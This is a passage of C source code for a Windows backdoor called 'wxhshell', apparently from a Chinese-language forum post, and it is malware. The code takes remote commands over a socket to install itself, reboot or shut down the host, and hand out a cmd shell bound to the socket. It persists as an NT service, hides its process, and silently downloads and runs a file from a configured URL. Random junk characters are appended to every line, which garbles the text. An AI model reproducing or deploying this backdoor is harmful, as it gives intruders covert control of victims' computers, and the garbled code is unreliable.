    switch(cmd[0]) { Eo!1 WRruF  
  MLG%+@\  
  // 帮助 &gw. &/t  
  case '?': { y4tM0h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lc,{0$ 1<  
    break; {+0]diD  
  } n{6XtIoYq  
  // 安装 Ks(+['*S  
  case 'i': { k3da*vwE  
    if(Install()) zQMsS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >2_BL5<S  
    else $6L gaz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;XMbjWc  
    break; Z2_eTC u  
    } CS)&A4`8  
  // 卸载 gLa# y  
  case 'r': { mnzamp  
    if(Uninstall()) |"8Az0[!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "CapP`:  
    else UeIu -[R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r :{2}nE  
    break; R] tHd=kf  
    } #UG|\}Lp  
  // 显示 wxhshell 所在路径 B.-5$4*s  
  case 'p': { 0?qXDO&~  
    char svExeFile[MAX_PATH]; ]tA39JK-i  
    strcpy(svExeFile,"\n\r"); .]6_  
      strcat(svExeFile,ExeFile); |\TOSaZ  
        send(wsh,svExeFile,strlen(svExeFile),0); @Ck6s  
    break; p+ SFeUp  
    } &PI}o  
  // 重启 d8`^;T ;}d  
  case 'b': { &W:Wv,3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a,b ;H(em  
    if(Boot(REBOOT)) 6Xb\a^ q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw/kD)u{  
    else { $~`a,[e<  
    closesocket(wsh); B$1nq#@  
    ExitThread(0); :{pvA;f  
    } )tl=tH/$  
    break; C18pK8-  
    } %H75u 6  
  // 关机 l~!Tnp\M  
  case 'd': { <?kr"[cQeP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @ +h2R  
    if(Boot(SHUTDOWN)) [wG?&l$.KB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - l8n0P1+  
    else { )_"Cz".|9  
    closesocket(wsh); 6e&Y%O'8  
    ExitThread(0); 3P3x^NI  
    } x.qn$?3V]  
    break; +8Yt91   
    } 767xCP  
  // 获取shell yx"xbCc#  
  case 's': { wUHuykF  
    CmdShell(wsh); A(X~pP &oF  
    closesocket(wsh); {\ [u2{  
    ExitThread(0); !;.i#c_u  
    break; I~y[8  
  } 3GUO   
  // 退出 dFD0l?0N  
  case 'x': { nF0$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wcUf?`21,  
    CloseIt(wsh); 6pDb5@QjTy  
    break; |B<+Y<)f^  
    } 6f,#O8]#5  
  // 离开 |UZPn>F~  
  case 'q': { '<5Gf1 @|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P0uUVU=B|  
    closesocket(wsh); \gaGTc2&  
    WSACleanup(); yz8ZY,9  
    exit(1); Z7% |'E R  
    break; w^e<p~i!^E  
        } -twV?~f  
  } 5 BR9f3}  
  } tNg}: a|J  
'hfQ4EN  
  // 提示信息 sYM3&ikyHI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tu95qL~^  
} uoR_/vol8  
  } 5xX*68]%  
K.4t*-<`[  
  return; E9TWLB5A)(  
} zY_BnJ^  
}/q]:3M|  
// shell模块句柄 Gh}sk-Xk=  
int CmdShell(SOCKET sock) ;4p_lw@  
{ XcB!9AIO  
STARTUPINFO si; F B-?{78~  
ZeroMemory(&si,sizeof(si)); 'D(|NYY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  vp7J';  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C"no>A^  
PROCESS_INFORMATION ProcessInfo; &Iv3_T<AF  
char cmdline[]="cmd"; >utm\!Gac  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /\P3UrQ&]  
  return 0; xR `4<  
} 0J7)UqMf.  
89ivyv;]U  
// 自身启动模式 XA75tU[#  
int StartFromService(void) 0m k-o  
{ _tDSG]  
typedef struct 'oSs5lW  
{  Xr'Y[E [  
  DWORD ExitStatus; E-jL"H*  
  DWORD PebBaseAddress; ' k[d&sR  
  DWORD AffinityMask; ?EQ]f34  
  DWORD BasePriority; e]F4w(*=  
  ULONG UniqueProcessId; S_?{ <{  
  ULONG InheritedFromUniqueProcessId; L:UJur%  
}   PROCESS_BASIC_INFORMATION; w/+e  
M ^gva?{  
PROCNTQSIP NtQueryInformationProcess; x9S~ns+r  
W2cgxT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fui;F"+1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A'Q=Do E  
 _0^f  
  HANDLE             hProcess; ;s{k32e  
  PROCESS_BASIC_INFORMATION pbi; D >ax<t1K  
AmYqrmJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }>~';l  
  if(NULL == hInst ) return 0; ?Pg{nlJvq  
nGb%mlb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V`:iu n^f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O*% 1   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <X]'":  
"Z xM,kI  
  if (!NtQueryInformationProcess) return 0; J3/2>N]/}  
EVs.'Xg<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3%`asCW$  
  if(!hProcess) return 0; ]M2<b:yo  
C'5b)0km  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7bcl^~lY  
Z*r;"WHB  
  CloseHandle(hProcess); [fVtQ@-S!  
q]PeS~PjF\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |Uf[x[  
if(hProcess==NULL) return 0; ynkPI6o  
m]}%Ag^x  
HMODULE hMod; }<G"w 5.<  
char procName[255]; N0U6N< w  
unsigned long cbNeeded; dt -EY  
kFCjko  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C8^=7H EB  
Ekq&.qjYG"  
  CloseHandle(hProcess); B^8]quOH  
f+A!w8E  
if(strstr(procName,"services")) return 1; // 以服务启动 #p<1@,  
TF0DQP  
  return 0; // 注册表启动 UD.&p'^ /{  
} /m>%=_nz  
/%O+]#$`0  
// 主模块 ~lg1S  
int StartWxhshell(LPSTR lpCmdLine) # MpW\yX  
{ D)0pm?*5A  
  SOCKET wsl; ZAK NyA2  
BOOL val=TRUE; o XKH,r  
  int port=0; Kterp%J?  
  struct sockaddr_in door; MSef2|"P#  
,gdf7&r  
  if(wscfg.ws_autoins) Install(); ^LaOl+;S  
xRTr<j0s  
port=atoi(lpCmdLine); ]m ED3#  
X?3?R\/  
if(port<=0) port=wscfg.ws_port; 0iy-FV;J  
kTCWyc  
  WSADATA data; y7&8P8R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jGp|:!'w  
G/cE2nD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FNQR sNi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?/EyfTex  
  door.sin_family = AF_INET; fe,A\W&8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aWtyY[=  
  door.sin_port = htons(port); ss8de9T"'  
T(n<@Ac]V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;'\#+GZ9p  
closesocket(wsl); N sUFM  
return 1; vocXk_  
} rXortK#\%  
;p$KM-?2D  
  if(listen(wsl,2) == INVALID_SOCKET) { Hcts^zm2u  
closesocket(wsl); $d@_R^]X  
return 1; !'ylh8}  
} b[mAkm?9+1  
  Wxhshell(wsl); ig] hY/uT  
  WSACleanup(); k!%[W,*  
f,e7;u z%  
return 0; 2f;fdzjk8K  
!A5UT-  
} 'Z<V(;W  
vCPiT2G  
// 以NT服务方式启动 gEejLyOag  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hg~O0p}[  
{ t1y hU"(J  
DWORD   status = 0; EQ;,b4k?&g  
  DWORD   specificError = 0xfffffff; E0g` xf 6c  
"F,d}3}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `L-GI{EJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W?*]' 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f1Ak0s,zrc  
  serviceStatus.dwWin32ExitCode     = 0; ~ jR:oN  
  serviceStatus.dwServiceSpecificExitCode = 0; c]qq *k#  
  serviceStatus.dwCheckPoint       = 0; B%|cp+/  
  serviceStatus.dwWaitHint       = 0; 0K0[mC}ZwM  
4h|48</  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $m.e}`7SF!  
  if (hServiceStatusHandle==0) return; aNqhxvwf  
"R"7'sJMI  
status = GetLastError(); hXvg<Rf  
  if (status!=NO_ERROR) rUb`_W@  
{ 4 Ar\`{c>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J9tQ@3{f  
    serviceStatus.dwCheckPoint       = 0; nm!5L[y!0  
    serviceStatus.dwWaitHint       = 0; sj)$o94=  
    serviceStatus.dwWin32ExitCode     = status; *?k~n9n5U  
    serviceStatus.dwServiceSpecificExitCode = specificError; YQB.3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l P4A?J+Q  
    return; Ol}^'7H  
  } ;8Z\bHQ>  
a<Ru)Q?=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L_>j SP  
  serviceStatus.dwCheckPoint       = 0; !y8/El  
  serviceStatus.dwWaitHint       = 0; G8m:]!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p8%/T>hK  
} yq3i=RB(  
m=Z1DJG  
// 处理NT服务事件,比如:启动、停止 i+ I%]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n4albG4  
{ rt\i@}  
switch(fdwControl) B2QC#R  
{ KL2#Bm_  
case SERVICE_CONTROL_STOP: "V|1w>s  
  serviceStatus.dwWin32ExitCode = 0; aY^_+&&G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 67Z.aaXD1  
  serviceStatus.dwCheckPoint   = 0; *vx!twu1o  
  serviceStatus.dwWaitHint     = 0; -t92!O   
  { >680}\S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J|DID+M  
  } &zl=}xeA  
  return; PD @]2lY(  
case SERVICE_CONTROL_PAUSE: !n<vN@V*3d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R %QgOz3`  
  break; gbP]!d:I  
case SERVICE_CONTROL_CONTINUE: wnaT~r@U'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G(LGa2;Zg  
  break; {uO=Wkp~7  
case SERVICE_CONTROL_INTERROGATE: B~/:["zTh&  
  break; 7J ~usF>A  
}; kaSy 9Y{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _]SV@q^  
} mnK SO  
alQMPQVin  
// 标准应用程序主函数 J2X;=X5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [P5+}@t  
{ <ID/\Qx`q  
D0'L  
// 获取操作系统版本 w8!S;~xKI  
OsIsNt=GetOsVer(); !Cq2<[K#  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  .;ptgX  
),9^hJ1+@  
  // 从命令行安装 >w,o|  
  if(strpbrk(lpCmdLine,"iI")) Install(); *]<M%q!<6  
Z=VAjJ;i[  
  // 下载执行文件 ('H[[YODh  
if(wscfg.ws_downexe) { tI2V)i!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #t.)4$  
  WinExec(wscfg.ws_filenam,SW_HIDE); EbEQ@6t  
} #bxUI{*J  
W_ w^"'  
if(!OsIsNt) { |"4+~z%/9!  
// 如果时win9x,隐藏进程并且设置为注册表启动 pLB~{5u>;-  
HideProc(); V)[ta`9  
StartWxhshell(lpCmdLine); ]njObU)[zr  
} T$ <l<.Qd  
else V`F]L^m=L  
  if(StartFromService()) ZE+VLV v  
  // 以服务方式启动 :bJT2o[  
  StartServiceCtrlDispatcher(DispatchTable); A~MAaw!YE  
else 99GzhX_  
  // 普通方式启动 V1[Cc?o  
  StartWxhshell(lpCmdLine); M4MO)MYJ  
$ {Y? jJ  
return 0; (XF"ckma  
}
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只看该作者 1 发表于: 2006-10-10
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